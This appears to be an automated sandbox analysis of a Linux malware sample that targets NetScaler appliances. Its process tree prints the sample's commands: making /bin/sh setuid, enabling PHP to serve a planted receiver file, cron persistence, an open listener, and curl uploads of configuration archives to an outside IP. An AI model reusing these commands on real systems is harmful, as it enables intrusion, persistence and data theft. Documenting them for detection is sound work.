2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7

Analysis

max time kernel
36s
max time network
40s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
03/10/2026, 11:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown
Size 24KB
Sample261003-nvrlysys9l
SHA256 2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7
MD5 a7fe433d8982d52cabb09c8b5c9386a9
SHA1 c0629d26fea48597d5a65fe41499cc7a08e77341
SHA512 c287d3bafa45476887b82b25866aa42e856ef853bcc3acb33d0598284412c5d312328562b4a4a8b963cbb91ba08d1bdd01ec67ba3127df86fb372362cb74dc47
SSDEEP 768:CFxadn2345FPWdWmS1nwuxli8o7TUILRyUKtvZC17:CQ2I5FPWdPSNwuxli8o80RyhvZ07
TLSH
T18EB2EBC17C7E5DB583D7C47CEB96E442B7666807100A2464B9BCA3AC6F68434D2F1AE8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.h8ccK7	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 3 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Command and Scripting Interpreter: Unix Shell 1 TTPs 2 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
798	sh
794	sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/718/cmdline	pkill
File opened for reading	/proc/9/cmdline	ps
File opened for reading	/proc/71/status	ps
File opened for reading	/proc/328/stat	ps
File opened for reading	/proc/71/cmdline	pkill
File opened for reading	/proc/75/cmdline	pkill
File opened for reading	/proc/673/status	pkill
File opened for reading	/proc/704/status	pkill
File opened for reading	/proc/760/cmdline	pkill
File opened for reading	/proc/70/status	ps
File opened for reading	/proc/76/cmdline	ps
File opened for reading	/proc/125/status	ps
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/777/status	pkill
File opened for reading	/proc/673/status	pkill
File opened for reading	/proc/352/stat	ps
File opened for reading	/proc/418/stat	ps
File opened for reading	/proc/767/cmdline	ps
File opened for reading	/proc/327/status	pkill
File opened for reading	/proc/124/cmdline	ps
File opened for reading	/proc/723/stat	ps
File opened for reading	/proc/669/status	pkill
File opened for reading	/proc/702/cmdline	pkill
File opened for reading	/proc/5/status	pkill
File opened for reading	/proc/159/stat	ps
File opened for reading	/proc/712/stat	ps
File opened for reading	/proc/710/status	pkill
File opened for reading	/proc/10/stat	ps
File opened for reading	/proc/8/stat	ps
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/352/status	pkill
File opened for reading	/proc/766/stat	ps
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/355/cmdline	pkill
File opened for reading	/proc/24/stat	ps
File opened for reading	/proc/82/status	pkill
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/7/cmdline	ps
File opened for reading	/proc/77/status	pkill
File opened for reading	/proc/79/status	ps
File opened for reading	/proc/327/stat	ps
File opened for reading	/proc/702/status	ps
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/710/status	pkill
File opened for reading	/proc/14/status	pkill
File opened for reading	/proc/71/status	pkill
File opened for reading	/proc/381/cmdline	pkill
File opened for reading	/proc/238/status	ps
File opened for reading	/proc/702/cmdline	pkill
File opened for reading	/proc/15/stat	ps
File opened for reading	/proc/709/stat	ps
File opened for reading	/proc/17/cmdline	ps
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/81/status	pkill
File opened for reading	/proc/238/status	pkill
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/2/stat	ps
File opened for reading	/proc/82/status	ps
File opened for reading	/proc/767/status	ps
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/380/cmdline	pkill
File opened for reading	/proc/12/status	pkill

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
778	pkill
794	sh
795	gzip
798	sh
799	gzip

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.slap.cron	2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown

/tmp/2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown
/tmp/2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown
1⤵
- Writes file to tmp directory
PID:712
- /bin/mkdir
  mkdir -p /nsconfig/.slap /var/netscaler/logon/LogonPoint/custom
  2⤵
  PID:714
- /bin/cat
  cat
  2⤵
  PID:717
- /bin/cat
  cat
  2⤵
  PID:719
- /bin/mkdir
  mkdir -p /var/tmp/.ux
  2⤵
  PID:721
- /bin/cat
  cat
  2⤵
  PID:725
- /bin/cat
  cat
  2⤵
  PID:730
- /bin/cat
  cat
  2⤵
  PID:732
- /bin/chmod
  chmod 700 /nsconfig/.slap /nsconfig/.slap/agent.pl /nsconfig/.slap/bridge.pl
  2⤵
  PID:734
- /bin/cat
  cat
  2⤵
  PID:736
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.slap.receiver
  2⤵
  PID:737
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver
  2⤵
  PID:739
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb
  2⤵
  PID:742
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.slap.receiver
  2⤵
  PID:744
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.ctxs.receiver
  2⤵
  PID:747
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/receiver.deb
  2⤵
  - Reads runtime system information
  PID:749
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /nsconfig/.slap/.slap.receiver /nsconfig/.slap/.ctxs.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:750
- /bin/chmod
  chmod 6555 /bin/sh
  2⤵
  PID:751
- /bin/chmod
  chmod 700 /nsconfig/.slap/boot.sh
  2⤵
  PID:752
- /usr/bin/perl
  perl -ni -e "print unless m{AliasMatch\\s+\\*/logon/LogonPoint/custom/receiver}" /etc/httpd.conf
  2⤵
  PID:754
- /bin/grep
  grep -q "Alias /logon/LogonPoint/custom/receiver.v2.min.css" /etc/httpd.conf
  2⤵
  PID:756
- /bin/cp
  cp /etc/httpd.conf /etc/httpd.conf.slap.bak
  2⤵
  PID:758
- /bin/cat
  cat
  2⤵
  PID:761
- /usr/bin/perl
  perl -pi -e "s/php_flag engine off/php_flag engine on/" /etc/httpd.conf
  2⤵
  PID:762
- /bin/grep
  grep -q "AddType application/x-httpd-php .deb" /etc/httpd.conf
  2⤵
  PID:764
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:765
- /bin/grep
  grep -q "[.]slap/agent.pl"
  2⤵
  PID:767
- /bin/ps
  ps -axww
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:766
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /nsconfig/rc.netscaler
  2⤵
  PID:769
- /usr/bin/setsid
  /usr/bin/setsid /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:768
- /bin/perl
  /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:768
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /nsconfig/rc.netscaler
  2⤵
  PID:771
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:772
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /tmp/.slap.cron
  2⤵
  PID:773
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /tmp/.slap.cron
  2⤵
  PID:774
- /usr/bin/crontab
  crontab /tmp/.slap.cron
  2⤵
  - Creates/modifies Cron job
  PID:775
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/slapshot.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:777
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/whipd.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:778
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:780
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:779
- /bin/date
  date -u
  2⤵
  PID:781
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:779
- /usr/bin/id
  id
  2⤵
  PID:782
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:780
- /bin/uname
  uname -a
  2⤵
  PID:783
- /bin/ls
  ls -l /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /etc/httpd.conf
  2⤵
  PID:784
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:785
- /bin/grep
  grep -in php /etc/httpd.conf
  2⤵
  PID:786
- /usr/bin/tail
  tail -n 80
  2⤵
  PID:787
- /bin/sed
  sed -n "1395,1425p" /etc/httpd.conf
  2⤵
  PID:788
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error_log
  2⤵
  PID:789
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error.log
  2⤵
  PID:790
- /usr/bin/tail
  tail -n 40 /var/log/ns.log
  2⤵
  PID:791
- /bin/mkdir
  mkdir -p /var/tmp/.s2loot
  2⤵
  PID:792
- /bin/tar
  tar czf /var/tmp/.s2loot/nsconfig.tgz .
  2⤵
  PID:793
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:794
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:795
- /usr/bin/curl
  curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/nsconfig.tgz http://213.209.159.55:443/t/906b4f/loot_nsconfig.tgz
  2⤵
  PID:796
- /bin/tar
  tar czf /var/tmp/.s2loot/hist.tgz /nsconfig/ns.conf.0 /nsconfig/ns.conf.1 /nsconfig/ns.conf.2 /nsconfig/ns.conf.3 /nsconfig/ns.conf.4 /nsconfig/ns.conf.bak
  2⤵
  PID:797
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:798
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:799
- /usr/bin/curl
  curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/hist.tgz http://213.209.159.55:443/t/906b4f/loot_nshist.tgz
  2⤵
  PID:800
- /bin/rm
  rm -rf /var/tmp/.s2loot
  2⤵
  PID:807
- /usr/bin/curl
  curl -sk -H Expect: -m 60 -T /etc/httpd.conf http://213.209.159.55:443/t/906b4f/loot_httpd.conf
  2⤵
  PID:808
- /usr/bin/curl
  curl -sk -H Expect: -m 60 -T /var/tmp/.slap-diag.txt http://213.209.159.55:443/t/906b4f/loot_diag.txt
  2⤵
  PID:857

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

agent.pl

Path /nsconfig/.slap/agent.pl
Size 4KB
SHA256 94c5ccd3a35357b24fe9474abab665a2e6205a60d8c6a82e4016d3b94d3fb761
MD5 de6f7c87e8f5be485243441ae7ab5bd0
SHA1 7249acf88b30ad5b7bbf3c10299e16780f3d0dac
SHA512 88b9e76e1aac24b7f7806d3b8dbcd8ccda912b0f390b8fee2c18cbe5dd4d6494d579a8e0e0981fdcc1b3c2e31d8374f861d37c077d13ef1a018139e357c7f668
SSDEEP 96:IFWaH88gEe/qnao0AHt2tRqS2kJRCR7jXCtJrC9SAqCGCSeCvCSEx3a32Q:IFW+hD2tRgwt4UADH4K1Ba32Q
TLSH
T10E81CE843DFBAA7684F2D02CEFDAC41171B9849B8509E9A07D7C42BCAF45930D6F52C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

boot.sh

Path /nsconfig/.slap/boot.sh
Size 2KB
SHA256 cd6b7acea0bdbcf8b6e8b2e62ea710ab3d9e59111202ac7a733d109c27c948fd
MD5 88145975b4c7f28158926fc2d263876f
SHA1 cf754aac1af84fc2001057ad75560b31f66c1b1b
SHA512 f892e2437d1ec9acbca7353ba0bce3f66e33410bfb7975f8fa54c504f7169b8a9bd7785e55ce0f3a216c44fe0b4befe0c6ea5d4e778936ba8c6eed5694093bf1
TLSH
T1A55169F3B41D4EF61AD98BFC739C9285ABD4D09E286534A1F544B328946814CF4E29B8
MD5 SHA1 SHA512 TLSH

Submit Download

bridge.pl

Path /nsconfig/.slap/bridge.pl
Size 697B
SHA256 f09c1bf2c6148e9e8f3a4be7b26b365fc5fdf95d768abf78a7ed770b9c5debad
MD5 bc21f7306742c9e9d2f10a3542463be2
SHA1 237ca70151ef13c42c5bbdc7c553bc561a90db08
SHA512 af47a95a1d6455c62e978ae3b8dc50cb3216968a56039bd2904c2d1cf5e70d055a21af09f187eb5663cd8c02b78b26da08ce3070c098f92390966247aa087d57
TLSH
T1E601FE204CD34B51C0FEA04AF608914792CA843B4EAAB8BE7E50478E9F04374B0F76C0
MD5 SHA1 SHA512 TLSH

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 37B
SHA256 370368e6491d9344962b6a58a771fb24e500f84e9d99379f61969e3068ed5b4b
MD5 d5800c883436ef1f94115dcab532015a
SHA1 a46bf0376f7876ce348c8a0d053762291f08ea33
SHA512 a4bb5355a14d262c50307f77c1806751ae606aff6022af4c515311a6d3f289d72f7110a9bc7c71b1af74f90ccf569dbc168646292761e2c0ad9e11c6c36034af
MD5 SHA1 SHA512

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 71B
SHA256 4c1a2751a1b474cc4873fd78d237d003a25dc45205b94577265443d65d2432d2
MD5 79b9b312be1c2b9d60a03e736eae4c5f
SHA1 09fce7d4b32dcba305a2d07f80a4292e0d4347e5
SHA512 a244df78c6246342d607320f603d85946d0b5e6d8cd723446c2c8638ae42c1ba8132b3d93a24f5923ff9f6cc5b5961885d54e77a1838990b42507efa94d3e9cc
TLSH
T17DA0024A260CEDF3CFCB9AB4D65724AA3F5142843E410521B404F2C4E8201CE7E39004
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 45B
SHA256 0759755783a468f3bc18dcbfde22fdb21bb754aee300137f26ee1aa1893dd3cd
MD5 80bdf2e82a187390554f344fe42b85e5
SHA1 8fce99a4a31526033f92cb5428491d9fdf911946
SHA512 b61ac653dd02118ad48ac80add43744cac3b338aeb7ce3dee36e63ca64380330a909d3dcfaf5a2c628b3ad91efed2e9e7b0988f8b694fee000c753402f5ed580
MD5 SHA1 SHA512

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 89B
SHA256 1a7762fb2dc20ab46e650818ba79e47c9758b02f2b0fcb12a7ed15cebc7e392f
MD5 51981d72e97719cd5b287c7dbb830cfd
SHA1 e093784d86c1d60bbd0b19545644f4156cafca3b
SHA512 bc62e23c068936d26a421d72673a67417dd4edc1a2bc53ff403169ea37b05301cfb761da422b9e9fbb2e6e96ed0117e3c1b61689d3b5d03b4ca3b8f6a03d067d
TLSH
T154B0013A950CADF78A8E5AB8E3A638BE7E1643843E410561745CF2C4E82C38F7A39000
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.receiver

Path /var/netscaler/logon/LogonPoint/custom/.slap.receiver
Size 493B
SHA256 9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7
MD5 7279e5629e02ea3fc9392365f1c005c6
SHA1 838103a40d8530ae9a7eaaf3467aa653443b1bd7
SHA512 3040631b49a846d2c65aa11b23b366b3bfc59adbdd612462549dd421a2fdf5309114af5a078bc6b416f82ee2eabea14120da3108d73c65dd8d6c076fad3a6941
TLSH
T1F9F09E0C31E625B1CDBFBC70D75E2C08A1690001151A9A5138C25DCD1DF812D96B68E6
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.h8ccK7

Path /var/spool/cron/crontabs/tmp.h8ccK7
Size 278B
SHA256 b50ce9df03a315c995d69ebbc5d02f93e688532ba838fd1bbd7ad9bc848b8c51
MD5 177f58787d3d7d9c4b810aa5942c9c4d
SHA1 75cfb355691ee9e438a4df1fddda700fc3447b4a
SHA512 9582e084d425c24a538dd06186445fdd6cbfe767e70c12f7ec35504cbbd185027626cea36e78253d4b9b32670a828e3e36946095a4a29d87db1f203250089793
TLSH
T10DD02B3A6A04EDB74A4907B8929B383DAD41D17C5C0A4E11F08DA054951D34F3F70451
MD5 SHA1 SHA512 TLSH

Submit Download

hist.tgz

Path /var/tmp/.s2loot/hist.tgz
Size 45B
SHA256 16e77258c11e3592f40369314d530a98f2e28e15d3c562cf8991c720f785ee69
MD5 734c86970d803f2adc4ca01c42f43e84
SHA1 716e4b211b6495a126c2559c3008d02c48700bda
SHA512 5e7a04ebecaa01be7f6456453efbcf21c1aee6d6cfe51297d02ee3972041855a49a1f5bbe48d8cba90d2695b3bee5f7d3f2562bfaaf2ed48e9a37dcd30411f08
MD5 SHA1 SHA512

Submit Download

nsconfig.tgz

Path /var/tmp/.s2loot/nsconfig.tgz
Size 2KB
SHA256 fd3965aa3ade438a0e63b1e790c25d1473a0e82e3405aa4428504f6c33087eef
MD5 ac8520d95cecd00a1fabdbfc09420496
SHA1 5078fb2373dfe6e4b866e8e1615cc5fb5349c5d5
SHA512 0557b1582ff99618c8d7210ce8ebb9c2bfa6951d766d21b9756c642c667f04eeb7d6d46b424820def0183dcc77092c5285a279f37fe5427d878b12ce000a7c88
TLSH
T1C1515E535D38937A963195E92B92854C1740DF22B232816838C2FE4147951D993DD638
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-agent.log

Path /var/tmp/.slap-agent.log
Size 63B
SHA256 6686e0f601f892bb8f8e47727170eb99045f66623834e5be2cb1984dfe7a88e1
MD5 2139e7e90aa4d9d126e20970e8149fbd
SHA1 ceb75170a5d023fcdabfb170ee52b2c5e83fea2b
SHA512 b0d1e4592a87f22f161b269b00f32eebba8d4ef1400d78d26c1ae9f5293321cb76e9bce56aa641ff69152096fb9234807a700b19882d1806d616003936c1c6ac
TLSH
T18DA0021259D961541A9629915319ECF68717004F2F0E1225E1704304A427A74B6DFAC2
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 54B
SHA256 3b55d648be841237a9724b45bc9a704573f5e182931f8c3dfd793e32fb3f7959
MD5 f06af88df767279c922c7ade494c2730
SHA1 812976778d1f746816df3bd23893bf455e558c3d
SHA512 6caadde6a2e6c5e4245bf62250a700bf7e3b8cd3cf2dbf2e3ca07f2115c6ae43cff6ac284f3ab40e1702c8297f5e81699fef0f24676d2958d215c0f9818cf3c8
TLSH
T1829002B151846A29142B54C67AC59C05223994AB045D9561A82183A546810170B49111
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 93B
SHA256 ec9356949c487b3830b31f5e77c91ff4ad36c92572f44942a8f47872c6795fe5
MD5 4d1246e9e2c82795e6304a12b14f3fa4
SHA1 9253a3c8b14959f6f02376b58e8449240d7fcf17
SHA512 df5031ce8a945d105e1cf8fdd6dda0dd78cc4f181b6fecfa5fdb1470f89f68611a8772f0f2284b587074bac88a556f4f2c883e5cf26e22df02ec03b418ecc51e
TLSH
T14FB0127002906516202780D5F5E04CC72237D89602597C10BE50C393414010A1745001
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 195B
SHA256 8a322b080298b725ebb3d6c9cdadf614caf8a94e84cc7d53b6431c420264a709
MD5 02e7117ea83f41eab2748ecd1aaebb84
SHA1 152dfe4e42985ca0500c76ab006036d4b9753432
SHA512 dac6c2f2dcdecb445695d4a39c0c29b7a6ab93781597c22e8e59b1127649d6670a7a799e92b6f2de733b0298b2d4904ba0216bdc1479ea0c1a5c8f71e645c368
TLSH
T12ED0C061B3703303641750C3F5E8FDE701339881072C3B10BC9D83E1430400B6B43820
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 219B
SHA256 08f92dcbd70e2ce73fa7e45993e087009788f367f386cc4625efac13935a4ab6
MD5 2639ad790b56cb563e8469266fc9c535
SHA1 544cc66e60638d97f85ef7157ecd8655a9b5813a
SHA512 c693b908952af0cfb1366b021f349756c1c4f2a7fd0fd6280772b2c9dd8beb32cf602afa2d82a98b8e40eda1012c51bef9f9e7dcd7dc97f8464302090ffac759
TLSH
T161D02351B2707212545754C7F5D8FDE6013394C1062C3A1068A953D146040177B53511
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 846B
SHA256 cc67748ace72b84e7804cb1b1d6cca1631b84af4ce4f4d7dc84796c9982753fd
MD5 44754be439c65fff9aadf49522170250
SHA1 b729247716ea160560c1a1101cb3a42ae7374267
SHA512 941076100c43d6d32f9fc03c894a1d291427b9261175ebc2348e560670f3c873fcc7e5b429cf7d78c6b28f3caf4682033de189f6e6ca60ab6e97b13efc035ef2
TLSH
T197018CD7B81AA23A57E2CEF2A8D947E5416280570D4E3FA44ED9B320C1051961F9361D
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-httpd-test.log

Path /var/tmp/.slap-httpd-test.log
Size 185B
SHA256 124dcd66bfa2793e9e36c9c652a524838d0e8c835d03bd1835048d73b8c638e9
MD5 2ac408710810fc78cf374b59e456e4f8
SHA1 d0d3ebd3f3bb42a88cd9b93fd4a6fdc818e65742
SHA512 22e1b6a850ce937b2fa3f741de0d3e6aaf2ef02942214ecc96eef0d3cdf120076b2fa35f2304fc914719790d6cbceae559ef41a98766286813e41932c986672b
TLSH
T107C012FC35038A3D23C204E105D92BEA8190430389C475E28294B530C4867B02BB745F
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path /var/tmp/.ux/agent.log
Size 55B
SHA256 a6a89ab78a2644f6b8538b93eb224eec4ca7e099ebfc1070bad7f695e691cca5
MD5 8336f924953a834ed438d7a1683fd35e
SHA1 668f16400ce757022b0cc1f604705429646234ac
SHA512 8f05f671433ef410e0d47ae2696fb5431990f54fd86e53ad5059b7b0cd09853bbfb3e13ef0e2ffc94828d8b4ed7f5d6bab1f84745d37fc64e1ddf84fa5d782f0
TLSH
T1C69002615424A49D52B2874A713552D6ED01D1020A562010FA56044140A55115231011
MD5 SHA1 SHA512 TLSH

Submit Download

slapshot.py

Path /var/tmp/.ux/slapshot.py
Size 7KB
SHA256 be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447
MD5 24f4f949a8df9cb4be3cf8d0cb89eb5d
SHA1 68b56277c3f88b78209fe8dfb4bbeff0b071292d
SHA512 a6ba111301443af786012e1258a77d44239de3bdd997cb8755b5f4cc97ec7236125b2999baa5e4e8f49cd2be4448bff818552db7841b9bd28483976bfd96f61d
SSDEEP 96:M56N8NbBZ2Ok7bsOwFF5r5QYm97WmVUgwyXGoFPWnXAuxuBTFiUbcjHa:wF2345FP3mdWmSgwy9WnXAuxKc3Ha
TLSH
T131F13F86AC645965C397C8965C62E4427727BC07725E1138FAFCC3E42FA887582F1EF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

whipd.py

Path /var/tmp/.ux/whipd.py
Size 4KB
SHA256 dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e
MD5 9753dbf79692d424d30abaf39e776a1e
SHA1 8ee23e2fc68366e9a07d8fd682bdb3539573a44f
SHA512 3a886d2a3671b85979d2afaf214efc94f5c1c4786f8d6dd7b314deb945ae39d871992d45034e8492177f016e5e630a3a37f1efdc5d74d20997261e581b523719
SSDEEP 96:kXai6ZdGd3Tgwy8rnQP71TKml0eK3uVUKigRRGLZq5XFEqhi:q6ZItgwyqQP7AgXK3umKigRRGLZqLEqI
TLSH
T125A18602586959F49343C52698E3F956E73E3917200F24A9397DD3C91F64876C2B2EFC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads